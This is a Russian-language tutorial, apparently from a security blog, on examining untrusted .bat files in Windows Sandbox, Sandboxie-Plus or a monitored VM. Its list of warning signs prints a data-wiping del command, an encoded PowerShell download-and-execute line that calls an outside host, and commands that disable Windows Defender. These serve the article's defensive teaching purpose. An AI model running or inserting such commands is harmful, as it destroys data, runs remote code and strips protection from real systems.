Анализ поведения .bat-файла в изолированной среде Windows

Вы получили .bat-файл от коллеги, скачали его из интернета или нашли на старом сервере. Открывать его на рабочей машине страшно — мало ли что внутри. Проще всего запустить его в песочнице и посмотреть, что он делает. Разберёмся, как это сделать правильно: от быстрого запуска в Sandboxie до полноценной виртуалки с перехватом системных вызовов.

Зачем вообще анализировать bat-файлы

Batch-файлы — это не пережиток прошлого. Их до сих пор используют для автоматизации на предприятиях, в скриптовых развёртываниях и, к сожалению, в атаках. Одна строчка вроде del /f /s /q C:\*.* способна уничтожить систему, а цепочка вызовов powershell -enc — загрузить и выполнить что угодно без сохранения файла на диск.

При анализе вас обычно интересует три вещи:

  • Какие файлы создаёт, изменяет или удаляет скрипт.
  • К каким сетевым ресурсам обращается.
  • Какие системные механизмы запускает (службы, планировщик, автозагрузка, реестр).

Три уровня изоляции — выбираем под задачу

Не всегда нужно разворачивать полноценную виртуальную машину. Иногда достаточно песочницы, а иногда без неё не обойтись. Вот три подхода, от простого к серьёзному:

Подход Что даёт Когда использовать
Windows Sandbox Одноразовая чистая среда Windows, всё стирается после закрытия Быстрая проверка одного файла, если у вас Windows 10/11 Pro или Enterprise
Sandboxie-Plus Песочница внутри текущей системы — файлы, реестр, сеть изолированы Нужно быстро запустить скрипт и посмотреть, что он пишет на диск
Виртуальная машина (Hyper-V / VirtualBox / VMware) Полная изоляция с возможностью снимков, перехвата трафика и отладки Подозрительный файл, который может быть вредоносным; нужен глубокий анализ

Быстрый старт: Windows Sandbox

Windows Sandbox — встроенная фича Windows Pro и Enterprise. Она создаёт чистую копию системы при каждом запуске, а после закрытия удаляет всё содержимое. Идеально для разового анализа.

  1. Убедитесь, что виртуализация включена в BIOS (Intel VT-x или AMD-V).
  2. Откройте «Включение или отключение компонентов Windows» и поставьте галочку «Песочница Windows».
  3. Перезагрузите компьютер.
  4. Нажмите Win, введите «Windows Sandbox» и запустите.
  5. Скопируйте .bat-файл в песочницу (обычным Ctrl+C / Ctrl+V — буфер обмена работает).
  6. Запустите файл через командную строку, а не двойным кликом — так вы увидите весь вывод.

После закрытия песочницы всё исчезает. Никаких следов на хосте. Но учтите: Sandbox не даёт вам инструментов мониторинга «из коробки» — придётся использовать встроенные средства вроде Process Monitor внутри песочницы.

Sandboxie-Plus: песочница с контролем

Sandboxie-Plus — бесплатный инструмент с открытым исходным кодом. Он перехватывает операции с файлами и реестром, позволяя вам видеть всё, что делает скрипт, без загрязнения основной системы.

Порядок работы:

  1. Установите Sandboxie-Plus с официального сайта sandboxie-plus.com.
  2. Создайте новую песочницу через меню «Песочница» → «Создать новую песочницу».
  3. Запустите командную строку внутри песочницы: правый клик на песочнице → «Запустить» → «Командная строка».
  4. Внутри песочницы перейдите к вашему .bat-файлу и выполните его.
  5. После выполнения откройте «Просмотр восстановимого содержимого» — там будут все файлы, которые скрипт попытался создать или изменить.

Плюс Sandboxie в том, что вы видите разницу «было/стало» — какие файлы и ключи реестра добавились. Это сразу показывает, пытается ли скрипт прописаться в автозагрузку или создать скрытый файл.

Глубокий анализ в виртуальной машине

Если файл подозрительный — например, вы не знаете его происхождение или видите обфусцированные команды — виртуалка обязательна. Вот как построить рабочий процесс:

  1. Создайте виртуальную машину с Windows (подойдёт любая версия, можно использовать ознакомительную от Microsoft).
  2. Установите чистую систему, обновите её, но не подключайте общие папки к хосту.
  3. Сделайте снимок (snapshot) чистого состояния — это ваша кнопка «откатиться».
  4. Установите инструменты анализа внутрь VM:
  • Process Monitor (Sysinternals) — показывает все операции с файлами, реестром, процессами в реальном времени.
  • Process Explorer — дерево процессов с подробностями, видно родительско-дочерние связи.
  • Wireshark — если нужно перехватить сетевой трафик.
  • API Monitor — для отслеживания вызовов WinAPI.
  • Autoruns (Sysinternals) — покажет все места автозагрузки, куда мог прописаться скрипт.
  1. Перенесите .bat-файл в VM через изолированный виртуальный диск или ISO-образ (не через общие папки!).
  2. Перед запуском настройте Process Monitor на фильтр по имени вашего bat-файла и его дочерним процессам.
  3. Запустите скрипт и наблюдайте за его поведением в реальном времени.
  4. После анализа откатите VM на чистый снимок.

Что искать при анализе

Когда скрипт запущен и вы наблюдаете за ним, обращайте внимание на следующие маркеры подозрительного поведения:

  • Обращение к системным папкам: C:\Windows\System32, C:\Windows\SysWOW64, %APPDATA%, %LOCALAPPDATA% — особенно если туда что-то записывается.
  • Изменение реестра: ключи Run, RunOnce, Services, Image File Execution Options — классические способы закрепления в системе.
  • Запуск PowerShell или cmd из bat: строки вроде powershell -ExecutionPolicy Bypass -Hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGsAZQByAC4AYwBvAG0ALwBkAGwALgBlAHgAZQAnACkA — это base64-код, который декодирует и выполняет произвольную нагрузку.
  • Сетевые подключения: вызовы bitsadmin, certutil, curl, wget с внешними адресами — скрипт может скачивать дополнительные компоненты.
  • Отключение защитных механизмов: команды вроде net stop WinDefend, reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 — явный признак вредоносного поведения.
  • Манипуляции с правами: net user, net localgroup administrators, icacls — попытки создать пользователя или повысить привилегии.

Ручной разбор без запуска

Иногда достаточно прочитать файл, чтобы понять, что он делает. Откройте его в текстовом редакторе (Notepad++, VS Code — не в стандартном Блокноте, он не показывает нормально строки с кодировкой UTF-8).

Типичные конструкции, которые стоит знать:

  • @echo off — скрывает вывод команд, часто используется в начале скрипта.
  • %~dp0 — путь к папке, где лежит сам .bat-файл. Используется для обращения к файлам рядом со скриптом.
  • call — вызов другого bat-файла с возвратом в текущий.
  • start — запуск программы или файла в отдельном окне.
  • for /f — часто используется для разбора вывода команд и построения цепочек действий.
  • ^ в конце строки — продолжение команды на следующей строке.
  • 2^>nul — перенаправление ошибок в никуда, чтобы пользователь ничего не увидел.

Если видите длинные строки с символами вроде +, ^, (, ) в странных местах — это может быть обфускация. В таком случае запуск в изолированной среде обязателен, потому что разобрать глазами замаскированный код бывает очень трудно.

Частые ошибки при анализе

Запуск bat-файла на рабочей машине «просто посмотреть». Даже если кажется, что файл безобидный, одна невидимая команда может зашифровать данные или открыть бэкдор. Всегда используйте изоляцию.

Использование общих папок между хостом и VM. Если скрипт вредоносный, он может выйти за пределы виртуалки через общий ресурс. Используйте одностороннюю передачу файлов (виртуальный диск, ISO).

Отключение сетевого адаптера в VM и потеря возможности увидеть сетевую активность. Если вам нужно понять, куда обращается скрипт, сеть должна быть включена — но изолированная (NAT или внутренняя сеть VM).

Запуск скрипта двойным кликом вместо cmd. При двойном клике окно закрывается сразу после завершения, и вы не увидите вывод. Запускайте через командную строку: cmd /k script.bat — окно останется открытым.

Игнорирование переменных окружения. Скрипт может использовать %USERNAME%, %COMPUTERNAME%, %TEMP% и другие — их значения влияют на поведение. Проверьте переменные перед запуском через set в cmd.

Какой подход выбрать

Подведём итог в виде простого дерева решений:

  • Файл от знакомого разработчика, вы доверяете источнику, хотите быстро понять логику → Windows Sandbox или Sandboxie, просмотр текста в редакторе.
  • Файл найден на сервере, нужно понять, что он меняет в системе → Sandboxie-Plus с анализом изменений в файловой системе и реестре.
  • Файл из неизвестного источника, содержит обфускацию или подозрительные команды → Виртуальная машина с полным набором инструментов мониторинга, сетевой анализ через Wireshark.
  • Нужно понять сетевое поведение (куда и что отправляет) → VM с включённым NAT и Wireshark на хосте, либо настроенный прокси внутри VM.

Полезные команды для быстрой диагностики

Вот несколько команд, которые помогают быстро оценить окружение перед запуском скрипта:

  • whoami /all — покажет текущего пользователя и его группы (особенно важно проверить членство в Administrators).
  • netstat -an — список открытых портов, видно, не открыл ли скрипт слушающий порт.
  • schtasks /query /fo LIST — список заданий планировщика, проверка на подозрительные записи.
  • wmic startup list full — все элементы автозагрузки через WMI.
  • fsutil fsinfo drives — список подключённых дисков, видно, не примонтировал ли скрипт что-то лишнее.

Итог

Анализ .bat-файла в изолированной среде — это рутинная задача, которая не требует экспертных знаний, но требует дисциплины. Не запускайте bat-файлы на рабочей системе без проверки. Используйте Windows Sandbox для быстрого взгляда, Sandboxie-Plus для контроля изменений и виртуальную машину для глубокого анализа. Всегда читайте текст скрипта перед запуском — это экономит больше времени, чем любой инструмент мониторинга.

Если после анализа вы обнаружили подозрительное поведение — не удаляйте файл сразу. Сохраните его, зафиксируйте результаты анализа (скриншоты Process Monitor, логи Wireshark) и передайте тому, кто занимается безопасностью в вашей организации. Это может быть важным фрагментом картины инцидента.

Оцените статью
PEFile — Безопасность и технологии простым языком